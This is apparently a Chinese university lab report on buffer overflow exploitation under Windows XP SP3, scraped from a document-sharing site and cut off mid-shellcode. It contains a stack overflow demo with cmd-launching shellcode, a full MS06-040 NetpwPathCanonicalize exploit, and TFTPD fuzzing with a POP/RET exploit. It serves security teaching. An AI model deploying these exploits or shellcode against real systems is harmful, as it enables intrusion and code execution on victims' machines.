缓冲区溢出实验报告

整理文档很辛苦,赏杯茶钱您下走!

免费阅读已结束,点击下载阅读编辑剩下 ...

阅读已结束,您可以下载文档离线阅读编辑

资源描述

华中科技大学计算机学院《信息系统应用安全》实验报告实验名称缓冲区溢出实验团队成员:姓名班级学号贡献百分比得分高涛信安0703班U200714975100%注:团队成员贡献百分比之和为1教师评语:一.实验环境操作系统:WindowsXPSP3编译平台:VisualC++6.0调试环境:OllyDbg二.实验目的1.掌握缓冲区溢出的原理;2.掌握缓冲区溢出漏洞的利用技巧;3.理解缓冲区溢出漏洞的防范措施。三.实验内容及步骤1.缓冲区溢出漏洞产生的的基本原理和攻击方法缓冲区溢出模拟程序程序源代码如下:#includestring.h#includestdio.h#includewindows.h//charname[]=AAAAAAAAAAAAAAAA;charname[]=AAAAAAAAAAAAABCD;intmain(){charoutput[8];strcpy(output,name);//内存拷贝,如果name长度超过8,则出现缓冲区溢出for(inti=0;i8&&output[i];i++){printf(\\0x%x,output[i]);}printf(\n);return0;}运行该程序产生访问异常:由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指向44434241,引发访问异常。运行命令窗口的shellcodeshellcode测试代码如下:#includestring.h#includestdio.h#includewindows.hcharname[]=\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41///覆盖ebp\x12\x45\xfa\x7f////覆盖eip,jmpesp地址7ffa4512\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c\x8d\x45\xf4\x50\xb8\x77\x1d\x80\x7c//LoadLibraryW的地址\xff\xd0\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57\xba\xc7\x93\xbf\x77//System的地址\xff\xd2;intmain(){charoutput[8];strcpy(output,name);for(inti=0;i8&&output[i];i++){printf(\\0x%x,output[i]);}printf(\n);return0;}shellcode测试代码运行效果如下:由于把main函数的返回EIP地址替换成了jmpesp的地址,main函数返回的时候就会执行我们的shellcode代码。该shellcode,运行命令窗口。2.MS06-040缓冲区溢出漏洞分析和利用溢出点定位溢出点定位源代码#includewindows.htypedefvoid(*MYPROC)(LPTSTR);intmain(){chararg_1[0x320];chararg_2[0x440];intarg_3=0x440;chararg_4[0x100];longarg_5=44;inti=0;HINSTANCELibHandle;MYPROCTrigger;chardll[]=./netapi32.dll;charVulFunc[]=NetpwPathCanonicalize;LibHandle=LoadLibrary(dll);//加载当前目录的netapi32.dllTrigger=(MYPROC)GetProcAddress(LibHandle,VulFunc);//获得NetpwPathCanonicalize的调用地址//填充参数memset(arg_1,0,sizeof(arg_1));//先清零内存memset(arg_1,'a',sizeof(arg_1)-2);//必须使用null结束符,填充aarg_1[792]='c';arg_1[793]='c';arg_1[794]='c';arg_1[795]='c';memset(arg_4,0,sizeof(arg_4));//先清零内存memset(arg_4,'b',sizeof(arg_4)-2);//必须使用null结束符,填充b(Trigger)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);//调用NetpwPathCanonicalizeFreeLibrary(LibHandle);return0;}程序运行效果如下:可以看到错误访问地址为63636363,即为‘c’的编码,所以成功得定位了溢出点。漏洞利用漏洞利用的源代码如下:#includewindows.htypedefvoid(*MYPROC)(LPTSTR);charshellcode[]=\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8;intmain(){chararg_1[0x320];chararg_2[0x440];intarg_3=0x440;chararg_4[0x100];longarg_5=44;HINSTANCELibHandle;MYPROCTrigger;chardll[]=./netapi32.dll;charVulFunc[]=NetpwPathCanonicalize;LibHandle=LoadLibrary(dll);Trigger=(MYPROC)GetProcAddress(LibHandle,VulFunc);memset(arg_1,0,sizeof(arg_1));memset(arg_1,0x90,sizeof(arg_1)-2);memset(arg_4,0,sizeof(arg_4));memset(arg_4,'a',sizeof(arg_4)-2);memcpy(arg_4,shellcode,168);arg_1[0x318]=0xF9;//CALLECX的地址arg_1[0x319]=0x52;arg_1[0x31A]=0x18;arg_1[0x31B]=0x75;(Trigger)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);FreeLibrary(LibHandle);}漏洞利用的效果如下:可以看到成功的利用该漏洞,弹出了一个对话框。3.TFTPD溢出漏洞分析与利用溢出点定位1.构造FUZZtftp127.0.0.1getAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFUZZ中包含288个A,这个值是通过多次测试获得的,运行效果如下,可以看到发生了溢出:2.确定溢出点采用284个’A’+’1234’的fuzz,运行效果如下:可以看到程序转到了34333231,溢出点定位成功。3.程序中溢出点定位使用OllyDbg打开程序,首先找到recvfrom函数,方法是右键点击Searchfor选项,找到Nameincurrentmodule,在其中找到recvfrom,如下所示:从这里找到recvfrom函数的位置,在此设置断点:然后启动tftp,重新运行fuzz,程序会进入到断点,跟踪程序的运行过程,发现程序运行到一个strcpy函数时造成溢出,如下图所示:运行004063A4函数之后,栈的状态如下,可以看到EIP被我们的数据覆盖:运行到下面的代码处,程序跳转到34333231处,至此溢出点定位完毕。溢出漏洞利用分析首先肯定是想到利用JMPESP,但是发现EIP后面是两个函数参数,如果覆盖该参数,将在函数返回之前触发异常,无法进入到我们的shellcode。从上图也可以看出,EIP后面的第二个参数恰好指向我们构造的字符串,那么如果我们能够把00E81F62送入EIP,可以发现函数返回之前的ESP指向010BF3C8,如果能够把ESP减去4,然后运行RET指令,就可以把00E81F62送入EIP,ESP-8相当于一次POP操作,这样如果我们把EIP指向有:POPXRET代码串的指令地址,即可使得shellcode被执行,在系统DLL中搜索该指令串,发现在7FFC01B0处有该指令代码:这样就可以构造如下的shellcode:\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d//12\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63//24\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e//36\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c//48\x8d\x45\xf4\x50\xb8//53\x77\x1d\x80\x7c//LoadLibraryW的地址//57\xff\xd0//59\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73//71\xc6\x

1 / 15
下载文档,编辑使用

©2015-2020 m.777doc.com 三七文档.

备案号:鲁ICP备2024069028号-1 客服联系 QQ:2149211541

×
保存成功